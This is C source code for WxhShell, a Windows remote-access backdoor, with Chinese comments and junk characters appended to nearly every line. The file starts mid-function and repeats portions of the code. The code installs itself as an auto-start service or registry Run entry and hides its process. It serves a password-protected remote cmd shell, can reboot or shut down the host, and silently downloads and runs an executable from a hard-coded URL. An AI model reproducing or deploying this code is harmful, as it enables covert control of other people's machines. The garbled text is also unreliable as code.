    } e\0vphS6  
  // 关机 :]Nn(},  
  case 'd': { :%6OFO$z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eb6Ux  
    if(Boot(SHUTDOWN)) -6Y@_N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m\4V;F  
    else {  ;Y6XX_  
    closesocket(wsh); nx   
    ExitThread(0); GI+x,p  
    } 6:fHPlqW  
    break; 7Ei,L[{\i#  
    } ^tMb"WO  
  // 获取shell \dm5Em/  
  case 's': { prHM}n{0  
    CmdShell(wsh); s+tPHftp  
    closesocket(wsh); Wq5 }SM  
    ExitThread(0); 4YuJ-  
    break; %^ bHQB%  
  } FAkrM?0/  
  // 退出 / [s TN.MG  
  case 'x': { Y FJw<5&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oZD+AF$R  
    CloseIt(wsh);  hTEwp.  
    break; pZ_zyI#wx_  
    } O'm5k l  
  // 离开 &z;bX-"E  
  case 'q': { TANv)&,|9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i;flK*HOZ9  
    closesocket(wsh); -w dbH`2Z"  
    WSACleanup(); e^LjB/<Th  
    exit(1); WE{fu{x  
    break; XIGz_g;#'w  
        } H*m3i;"4p\  
  } B\73 Vf  
  } kB)u@`</mV  
R@X65o  
  // 提示信息 V< Ib#rd'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \aN*x  
} ':>u*  
  } t3qPocYQ  
Silh[8  
  return; lZ'WFFWLE  
} qa\e`LD%Y  
U<YcUmX  
// shell模块句柄 tx*L8'jlN  
int CmdShell(SOCKET sock) mn].8 F  
{ -wsoJh  
STARTUPINFO si; 7C&J88|\  
ZeroMemory(&si,sizeof(si)); o7r7HmA@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %`_Rl>@K=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pjN4)y>0  
PROCESS_INFORMATION ProcessInfo; }T5 E^  
char cmdline[]="cmd"; 1dhuLN%Ce  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e=cb%  
  return 0; K8=jkU  
} Sx0/Dm  
hCOCX_  
// 自身启动模式 i V$TvD+  
int StartFromService(void) y+aKk6(_W  
{ [n2+`A  
typedef struct ~Ydm"G  
{ f:K>o .  
  DWORD ExitStatus; mo?*nO|-  
  DWORD PebBaseAddress; Ki\\yK  
  DWORD AffinityMask; j|KjQ'9  
  DWORD BasePriority; 03/mB2|TF(  
  ULONG UniqueProcessId; DFXHD,o  
  ULONG InheritedFromUniqueProcessId; ELN1F0TneH  
}   PROCESS_BASIC_INFORMATION; )n&6= Li  
M!/!*,~  
PROCNTQSIP NtQueryInformationProcess; 5|jsv)M+  
${h1(ec8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0clq}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; : 5X^t  
q'Nafa&a)  
  HANDLE             hProcess; *N |ak =  
  PROCESS_BASIC_INFORMATION pbi; k\TP3*fD  
i'QR-B&Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iG ,z3/~v  
  if(NULL == hInst ) return 0; UQg_y3 #V  
 Zsn@O2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HU/2P`DGP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Pav W@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *iN5/w{VG  
<N:)Xf9`  
  if (!NtQueryInformationProcess) return 0; TILH[r&Jg  
sVpET  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v:P=t2q  
  if(!hProcess) return 0; R.\]JvqO  
R/xT.EQ(N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zM(-f|wVI)  
4wN5x[vp  
  CloseHandle(hProcess); m1e Sn |)7  
>"+ ho  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gZ| !'  
if(hProcess==NULL) return 0; va:<W H  
[1Aoj|  
HMODULE hMod; i6f42]Jy  
char procName[255]; lbX YWZ~7  
unsigned long cbNeeded; Qo!F?i/ n  
ify48]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "L;@qCfhO  
N4z[=b>  
  CloseHandle(hProcess); |~ytAyw  
2rW9ja  
if(strstr(procName,"services")) return 1; // 以服务启动 O+|ipw*B%  
C23p1%#1  
  return 0; // 注册表启动 Uq @].3nf  
} lcLDCt ?  
~ MsHV%  
// 主模块 ~BqC!v.)@E  
int StartWxhshell(LPSTR lpCmdLine) ?6\N&MTF  
{  "UreV  
  SOCKET wsl; Io"3wL)2  
BOOL val=TRUE; %wXj P`#  
  int port=0; T`MM<+^G  
  struct sockaddr_in door; P*B @it  
J[05T1  
  if(wscfg.ws_autoins) Install(); KxD/{0F  
6"+9$nFyW  
port=atoi(lpCmdLine); `K:n=hpF  
,(-V<>/*.|  
if(port<=0) port=wscfg.ws_port; # S/n3  
'sXrtl7{^  
  WSADATA data; @/?i|!6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nW^h +   
6K )K%a,9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xJAQ'ANr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `d^Q!QxE  
  door.sin_family = AF_INET; {]cr.y]\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :4-,Ru1C"  
  door.sin_port = htons(port); uY(8KW  
hJ]Oa7r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5jso)`IL  
closesocket(wsl); KO7&dM  
return 1; z?Ok'LX  
} (sQXfeMz  
k7Qs#L  
  if(listen(wsl,2) == INVALID_SOCKET) { NiWAJ]Z  
closesocket(wsl); I|c!:4  
return 1; .)$MZyo  
} 9Bw#VQ  
  Wxhshell(wsl); _Y ;tD  
  WSACleanup(); e ><0crb  
^+CWo@.  
return 0; = c Z24I  
qEXN} Pq<  
} qPD(D{,f$  
d{Jk:@.1  
// 以NT服务方式启动 14 ,t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~  z3J4s  
{ HV)aVkr/&  
DWORD   status = 0; -e}(\  
  DWORD   specificError = 0xfffffff; %Z<{CV  
`7w-_o %  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2aCf?l(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R'`'q1=R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >h\u[I$7  
  serviceStatus.dwWin32ExitCode     = 0; qe#5;#  
  serviceStatus.dwServiceSpecificExitCode = 0; zsQ|LwQ  
  serviceStatus.dwCheckPoint       = 0; & nXE?-J  
  serviceStatus.dwWaitHint       = 0; a-E}3a  
m{=Q88k!@.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m N}szW,  
  if (hServiceStatusHandle==0) return;  |@'O3KA  
cjPXrDl{\  
status = GetLastError(); qE[YZ(/f0&  
  if (status!=NO_ERROR) Uzzm2OS`  
{ 5Y^"&h[/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =xIZJ8e  
    serviceStatus.dwCheckPoint       = 0; Ve|:k5z  
    serviceStatus.dwWaitHint       = 0; lTqlQ<`V  
    serviceStatus.dwWin32ExitCode     = status; c?HUW  
    serviceStatus.dwServiceSpecificExitCode = specificError; b{ xlW }S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hI!BX};+}  
    return; ; $80}TY '  
  } #DFi-o&-  
30uPDDvar  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t kj  
  serviceStatus.dwCheckPoint       = 0; 0GrM:Lh y  
  serviceStatus.dwWaitHint       = 0; 0?>(H(D^/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ft(o-f7,  
} Pn OWQ8=  
j8&NscK)  
// 处理NT服务事件,比如:启动、停止 ?$109wZ:9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `T[@-   
{ d6QrB"J`  
switch(fdwControl) 1B2#uhT]r  
{ 0,t%us/q  
case SERVICE_CONTROL_STOP:  rvd $4l^  
  serviceStatus.dwWin32ExitCode = 0; hOAZvrfQ4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v5S9h[gT  
  serviceStatus.dwCheckPoint   = 0; F,p0OL.  
  serviceStatus.dwWaitHint     = 0; L/tn;0  
  { $C\ETQ@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Dr(%z6CN  
  } Z{0BH{23  
  return; EYq?NL='  
case SERVICE_CONTROL_PAUSE: c("|xe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *pJGp:{6V?  
  break; w7U]-MW6A*  
case SERVICE_CONTROL_CONTINUE: o2ggHZe/=@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t Y  
  break; MMFwT(l<1  
case SERVICE_CONTROL_INTERROGATE: `]eJF|"  
  break; Kt_oo[ey{  
}; lWId 0eNS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $5&%X'jk  
} aDNB~CwZZ  
K4!-%d$  
// 标准应用程序主函数 LBK{-(%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z5fE<=<X_W  
{ R#d~a;j  
+{I_%SsG  
// 获取操作系统版本 ~:z.Xu5m  
OsIsNt=GetOsVer(); [b3!H{b#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `Y?VQ~ci>  
-XV,r<''  
  // 从命令行安装 1(?4*v@B  
  if(strpbrk(lpCmdLine,"iI")) Install(); PdcIHN  
o]e,5]  
  // 下载执行文件 &n  k)F<  
if(wscfg.ws_downexe) { V*4Z.3/E5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i?6&4  
  WinExec(wscfg.ws_filenam,SW_HIDE); !wy _3a  
} dE7x  SI  
{[o NUzcd  
if(!OsIsNt) { K&L!O3#(  
// 如果时win9x,隐藏进程并且设置为注册表启动 a$My6Qa#  
HideProc(); .{1$;K @  
StartWxhshell(lpCmdLine); OM\J4"YV$  
} cfLF@LW!])  
else XNYA\%:5S  
  if(StartFromService()) n$/|r  
  // 以服务方式启动 ?,vLRq.  
  StartServiceCtrlDispatcher(DispatchTable); 3Zb%-_%j  
else jdxHWkQ   
  // 普通方式启动 6 R6Ub 0  
  StartWxhshell(lpCmdLine); 4era5=  
E`IXBI  
return 0; d6luksO*9  
} ')uYI;h9  
R}&?9tVRR  
5PeS/%uT@  
\QvGkcDc{  
=========================================== 9c>i>Vja!  
Qd} n4KF\  
= L!&Z  
C(N' =-;Kl  
.hT>a<  
ewMVUq*:  
" clE9I<1v  
`0d 0T~  
#include <stdio.h> BhJ>G%  
#include <string.h> O<m46mwM  
#include <windows.h> uJ% <+I  
#include <winsock2.h> R3>q]  
#include <winsvc.h> "Lp.*o  
#include <urlmon.h> xWLvx'8W  
VE\L&d2S  
#pragma comment (lib, "Ws2_32.lib") _}l(i1o,/  
#pragma comment (lib, "urlmon.lib") %BI8m|6  
9 [eiN  
#define MAX_USER   100 // 最大客户端连接数 km %r{  
#define BUF_SOCK   200 // sock buffer T^A(v(^D  
#define KEY_BUFF   255 // 输入 buffer aHhLz>H'  
'}OdF*L  
#define REBOOT     0   // 重启 d^v#x[1msZ  
#define SHUTDOWN   1   // 关机 r:QLU]   
A4j ,]hOD  
#define DEF_PORT   5000 // 监听端口 r_7%|T8  
jFSR+mP!  
#define REG_LEN     16   // 注册表键长度 )."ob=m  
#define SVC_LEN     80   // NT服务名长度 ^twyy9VR  
IFLphm5  
// 从dll定义API 8lF9LZ8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a*M|_&MH*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !?,, ZD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WIWo4[(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v^9eTeFO  
EjPR+m  
// wxhshell配置信息 H1N@E}>|  
struct WSCFG { dDcQSshL  
  int ws_port;         // 监听端口 X@~/.H5  
  char ws_passstr[REG_LEN]; // 口令 R @\fqNq  
  int ws_autoins;       // 安装标记, 1=yes 0=no M"z=114  
  char ws_regname[REG_LEN]; // 注册表键名 2CC"Z  
  char ws_svcname[REG_LEN]; // 服务名 XpAJP++  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XDK Me}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <"Y>|X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -jjB2xP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U]Q 5};FK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iwnGWGcuS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b:(+d"S  
-x ?Z2EA!  
}; -Mo4`bN  
A1zRzg4I  
// default Wxhshell configuration u>fs yn9c  
struct WSCFG wscfg={DEF_PORT, M^ * ~?9  
    "xuhuanlingzhe", Y%}&eN$r  
    1, g}~s"Sz  
    "Wxhshell", L|[i<s;  
    "Wxhshell", 5bb#{?2i  
            "WxhShell Service", m{>1# 1;$t  
    "Wrsky Windows CmdShell Service", \J:+Wl.9A  
    "Please Input Your Password: ", PTHxvml  
  1, MJX ny4n  
  "http://www.wrsky.com/wxhshell.exe", T4x%3-4 ;  
  "Wxhshell.exe" _;}$/  
    }; 9DBX.|  
hw"2'{"II  
// 消息定义模块 %:C6\4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aPJTH0u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zd$'8/Cq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &pK0>2  
char *msg_ws_ext="\n\rExit."; g_4%M0&AX  
char *msg_ws_end="\n\rQuit."; <xBL/e %  
char *msg_ws_boot="\n\rReboot..."; c Lyf[z)W  
char *msg_ws_poff="\n\rShutdown..."; G=qlE?j`j  
char *msg_ws_down="\n\rSave to "; =U84*HAv  
rk=/iD  
char *msg_ws_err="\n\rErr!"; (6c/)MH  
char *msg_ws_ok="\n\rOK!"; C32*RNG?U  
W. d',4)  
char ExeFile[MAX_PATH]; |HAbZd7PG  
int nUser = 0; i:Y5aZc/Ds  
HANDLE handles[MAX_USER]; 54{E&QvL8o  
int OsIsNt; T=NLBJ  
[cDkmRV  
SERVICE_STATUS       serviceStatus; t=lDN'\P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b\^DQZmth  
[<r.M<3  
// 函数声明 $,Q] GIC  
int Install(void); S/Ic=  
int Uninstall(void); ;u`8pF!_eE  
int DownloadFile(char *sURL, SOCKET wsh); b1^wK"#  
int Boot(int flag); /nv*OKS|  
void HideProc(void); uPho|hDp  
int GetOsVer(void); C}9GrIi  
int Wxhshell(SOCKET wsl); h@JX?LzZS  
void TalkWithClient(void *cs); XX-(>B0L  
int CmdShell(SOCKET sock); RKzO$T  
int StartFromService(void); 1z|bQ,5  
int StartWxhshell(LPSTR lpCmdLine); OL_#Uu  
/7#MJH5b6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XD8Cf!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z-3.%P2g  
{tYY _BI<  
// 数据结构和表定义 v`L]dY4,  
SERVICE_TABLE_ENTRY DispatchTable[] = {nM1$  
{ d<Lc&wlP  
{wscfg.ws_svcname, NTServiceMain}, &b>&XMIK  
{NULL, NULL} pC,Z=+:  
}; YeT{<9p  
" ;Cf@}i>  
// 自我安装 ^?]-Q*w3Qs  
int Install(void) 34CcZEQQ  
{ H9'psv  
  char svExeFile[MAX_PATH]; Uufig)6  
  HKEY key; UM0Ws|qx&  
  strcpy(svExeFile,ExeFile); Q%~BD@Io  
QSzht$ 8  
// 如果是win9x系统,修改注册表设为自启动 }; 7I   
if(!OsIsNt) { @x*xgf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nk7=[y#z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wWx{#!W  
  RegCloseKey(key); k:V9_EI=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,j{tGj_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %hmRh~/&  
  RegCloseKey(key); 6d5J*y2  
  return 0; rS!@AgPLE  
    } :B=Gb8?  
  } ' A+L #  
} s5G`?/  
else { bxwwYSS  
}'}n~cA.{  
// 如果是NT以上系统,安装为系统服务 |RD )pvVM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sMVk]Mb  
if (schSCManager!=0) <L*`WO]\l  
{ u{HO6 s\S  
  SC_HANDLE schService = CreateService S8kzAT  
  ( :81d~f7  
  schSCManager, )2l @%?9  
  wscfg.ws_svcname, WB_BEh[>j  
  wscfg.ws_svcdisp, #Vmf 6  
  SERVICE_ALL_ACCESS, /9gn)q2f(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %rhZH^2  
  SERVICE_AUTO_START, `YwJ.E  
  SERVICE_ERROR_NORMAL, | @ ut/  
  svExeFile, < @GO]vY  
  NULL, 1MO-60  
  NULL, .Mb0++% W  
  NULL, xDl; tFI  
  NULL, ig YYkt  
  NULL jTg~]PQ^  
  ); $kN=45SR  
  if (schService!=0) <[ 2?~s  
  { $mAC8a_Zu  
  CloseServiceHandle(schService); PCL ;Z  
  CloseServiceHandle(schSCManager); G9Kck|50  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W,H8B%e  
  strcat(svExeFile,wscfg.ws_svcname); AWMJ/ E*T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :Cx|(+T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S2\;\?]^~  
  RegCloseKey(key); _#r00Ze  
  return 0; vR!g1gI23  
    } w1-P6cf  
  } ;ltk}hJ]  
  CloseServiceHandle(schSCManager); *k8?$(  
} _4)z:?G5  
} #| ,cy,v4  
-@_v@]:  
return 1; lqMr@ :t  
} \5!7zPc  
! #! MTk  
// 自我卸载 y2jw3R  
int Uninstall(void) 2'-"&d+ O  
{ NNbdP;=:u  
  HKEY key; <,GVrVH=t"  
I-g/ )2  
if(!OsIsNt) { sfr+W-7kx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6MY<6t0a  
  RegDeleteValue(key,wscfg.ws_regname); eZU9L/w:  
  RegCloseKey(key); >O24#!9XW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^5Lk}<utw  
  RegDeleteValue(key,wscfg.ws_regname); ^s7!F.O C  
  RegCloseKey(key); w5%i  
  return 0; e*lL.  
  } njX$?V   
} U7 D!w$4  
} 4RtAwB  
else { UWKgf? _  
Pb8@owG8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z#H<+S(  
if (schSCManager!=0) ]nB|8k=J  
{ $+7uB-KsU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *QiQ,~Ep  
  if (schService!=0) &LAXNk2  
  { @lE'D":?  
  if(DeleteService(schService)!=0) { lh"*$.j-  
  CloseServiceHandle(schService); `2@.%s1o=  
  CloseServiceHandle(schSCManager); ]1<GZ`  
  return 0; 3*=0`}jMJ  
  } z.SC^/\o|  
  CloseServiceHandle(schService); [#q>Aq$11  
  } {JP q. A  
  CloseServiceHandle(schSCManager); kzRJzJquP  
} 8\lh'8  
} WrGnLE kiV  
{jz`K1  
return 1; DaQl ip  
} &2`p#riAS  
*$<W"@%^J  
// 从指定url下载文件 3J+2#ML  
int DownloadFile(char *sURL, SOCKET wsh) )e,O+w"  
{ ;Nj9,Va(t  
  HRESULT hr; ]A3  
char seps[]= "/"; rKrHd  
char *token; O1z]d3x  
char *file; y'K2#Y~1e  
char myURL[MAX_PATH]; K] (*l"'U5  
char myFILE[MAX_PATH]; A#=TR_@:  
{p84fR1P  
strcpy(myURL,sURL); aaR& -M@  
  token=strtok(myURL,seps); wfmM`4Y   
  while(token!=NULL) Vb (b3  
  { +P2oQ_Fk`9  
    file=token; ?q:|vt  
  token=strtok(NULL,seps); 3#>W\_FY*D  
  } 5G f@n/M"  
S<"Fp1#"l  
GetCurrentDirectory(MAX_PATH,myFILE); ef7{D P  
strcat(myFILE, "\\"); y?<KN0j  
strcat(myFILE, file); <e2l@@#oy  
  send(wsh,myFILE,strlen(myFILE),0); l;lrf3  
send(wsh,"...",3,0); c1yRy|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5qb93E"C  
  if(hr==S_OK) <+QQiFj  
return 0; =&bI-  
else y7,I10:D  
return 1; }Kp!,  
DiFYVR<@  
} 51jgx,-|$  
bv[#|^/  
// 系统电源模块 [eX]x  
int Boot(int flag) ~3F'X  
{ .[Sis<A]%  
  HANDLE hToken; VeYT[Us"  
  TOKEN_PRIVILEGES tkp; n)e2?  
O3} JOv_  
  if(OsIsNt) { >h\y1IrAaG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H7zN|NdNw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3uLG$`N   
    tkp.PrivilegeCount = 1; 3p%e_?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8xPt1Sotq[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !dLu($P  
if(flag==REBOOT) { X1Yw=t~a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \^!;r9z=A  
  return 0; :o s8"  
} o(*\MT t?  
else { mUBy*.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4t, 2H"M  
  return 0; 7>N~l  
} )?F&`+  
  } g#5R|| r  
  else { u]yy%@U1  
if(flag==REBOOT) { 'ygKP6M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]auvtm- [  
  return 0; ?qgQ)#6  
} S!(3-{nC  
else { lvW T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F.[%0b E  
  return 0; 1}(22Q;  
} {L-^J`> G  
} 6TP /0o)  
.shi?aWm  
return 1; & l>nzJ5?  
} e?>  
/K:r4Kw  
// win9x进程隐藏模块 D2$ 9$xeR  
void HideProc(void) U=Ps#  
{ =:H-9  
4MgN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ? i{?Q,  
  if ( hKernel != NULL ) $L*gtZ  
  { zp}7p~#k^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5YY5t^T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -SsgW  
    FreeLibrary(hKernel); uo"<}>iJ  
  } dyQ7@K.E  
)U&9d  
return; GwX)~.i  
} %2QGbnt_*  
ynI e4b  
// 获取操作系统版本 *:%&z?<Fw  
int GetOsVer(void) x3+ -wv  
{ };Q}C0E  
  OSVERSIONINFO winfo; vjEDd`jYZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lc,k-}n  
  GetVersionEx(&winfo); x-%O1frc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \{h_i FU!  
  return 1; ,GSiSn  
  else 8eXe b|?J  
  return 0; %1?t)Bg  
} j7}mh  
"laf:Ty1  
// 客户端句柄模块 l2F#^=tp  
int Wxhshell(SOCKET wsl) SU0SsgFB  
{ lNX*s E .  
  SOCKET wsh; Ao K9=F}  
  struct sockaddr_in client; d{fd5jv;  
  DWORD myID; FB6Lz5:Vf  
iv*RE9?^  
  while(nUser<MAX_USER) tA(oD4H9  
{ '\bokwsP  
  int nSize=sizeof(client); `l|Oj$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~XR ('}5D  
  if(wsh==INVALID_SOCKET) return 1; 9PB%v.t5 y  
aL(G0@(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o/-RGLzAo  
if(handles[nUser]==0) \uZpAV)5  
  closesocket(wsh); :<g0Ho?e  
else Xt$qjtVM  
  nUser++; tA1?8`bQ  
  } Q>5f@aN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bF _]j/  
Cu@q*:'  
  return 0; 0>Y3xNb  
} 4Sh8w%s  
%n$f#Ml_r  
// 关闭 socket Zh8\B)0unn  
void CloseIt(SOCKET wsh) qc(e3x  
{ :Wbp|:N0  
closesocket(wsh); z</C)ObL  
nUser--; uO4 LD}A  
ExitThread(0);  ?s,oH  
} .>W [  
lJ3VMYVrUP  
// 客户端请求句柄 ;!f='QuA  
void TalkWithClient(void *cs) cW^LmA  
{ 6%V:Z  
.]E(P   
  SOCKET wsh=(SOCKET)cs; l~$)>?ZD  
  char pwd[SVC_LEN]; k<*v6 sNs;  
  char cmd[KEY_BUFF]; G$,s.MSf  
char chr[1]; w10~IP  
int i,j; syu/"KY^!  
N[eL Qe]q  
  while (nUser < MAX_USER) { WWSycH ?[  
H!Gw@u]E  
if(wscfg.ws_passstr) { $6m@gW]N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c&PsT4Wh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k2Cq9kQq  
  //ZeroMemory(pwd,KEY_BUFF); $'l<2h>4  
      i=0; UG\2wH_  
  while(i<SVC_LEN) { Xc[ym  
igL5nE=n  
  // 设置超时 (-yif&  
  fd_set FdRead; ~Bl,_?CBr  
  struct timeval TimeOut; 0V6, &rTF  
  FD_ZERO(&FdRead); ~ AD>@;8fG  
  FD_SET(wsh,&FdRead); qGq]E `O  
  TimeOut.tv_sec=8; z wUC L  
  TimeOut.tv_usec=0; m?wQk:Y1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t,LK92?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @~vg=(ic(  
<e#v9=}DI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4U\>TFO  
  pwd=chr[0]; $cn8]*Z =  
  if(chr[0]==0xd || chr[0]==0xa) { 'T^MaLK  
  pwd=0; K 'I6iCrD  
  break; cAN8'S(s1  
  } Yt*NIwWr  
  i++; rXmrT%7k  
    } Q1Qw45$  
)'jGf;du  
  // 如果是非法用户,关闭 socket ]*]*O|w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N5l`Rq^K  
} pS-o*!\C.  
NI"Zocp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #IGcQY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8\E=p+C  
POm;lM$  
while(1) { Q~"Lyy8  
Q0`@=5?-  
  ZeroMemory(cmd,KEY_BUFF); -hfDf{QN  
}^H(EHE  
      // 自动支持客户端 telnet标准   k6DJ(.n'%a  
  j=0; #k<l5x`  
  while(j<KEY_BUFF) { |H=5Am  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qPi $kecx  
  cmd[j]=chr[0]; p-"wY?q  
  if(chr[0]==0xa || chr[0]==0xd) { 7#"y mE  
  cmd[j]=0; JoB-&r}\V*  
  break; (=rDt93J  
  } 44n41.Q]  
  j++; CBdr 1  
    } *fd:(dN|  
6(\-aH'Ol  
  // 下载文件 V@LBy1z  
  if(strstr(cmd,"http://")) { }x{1{Bw>Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i`6utOq  
  if(DownloadFile(cmd,wsh)) .FYRi_Zd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .0>bnw  
  else 7^)yo#i4  
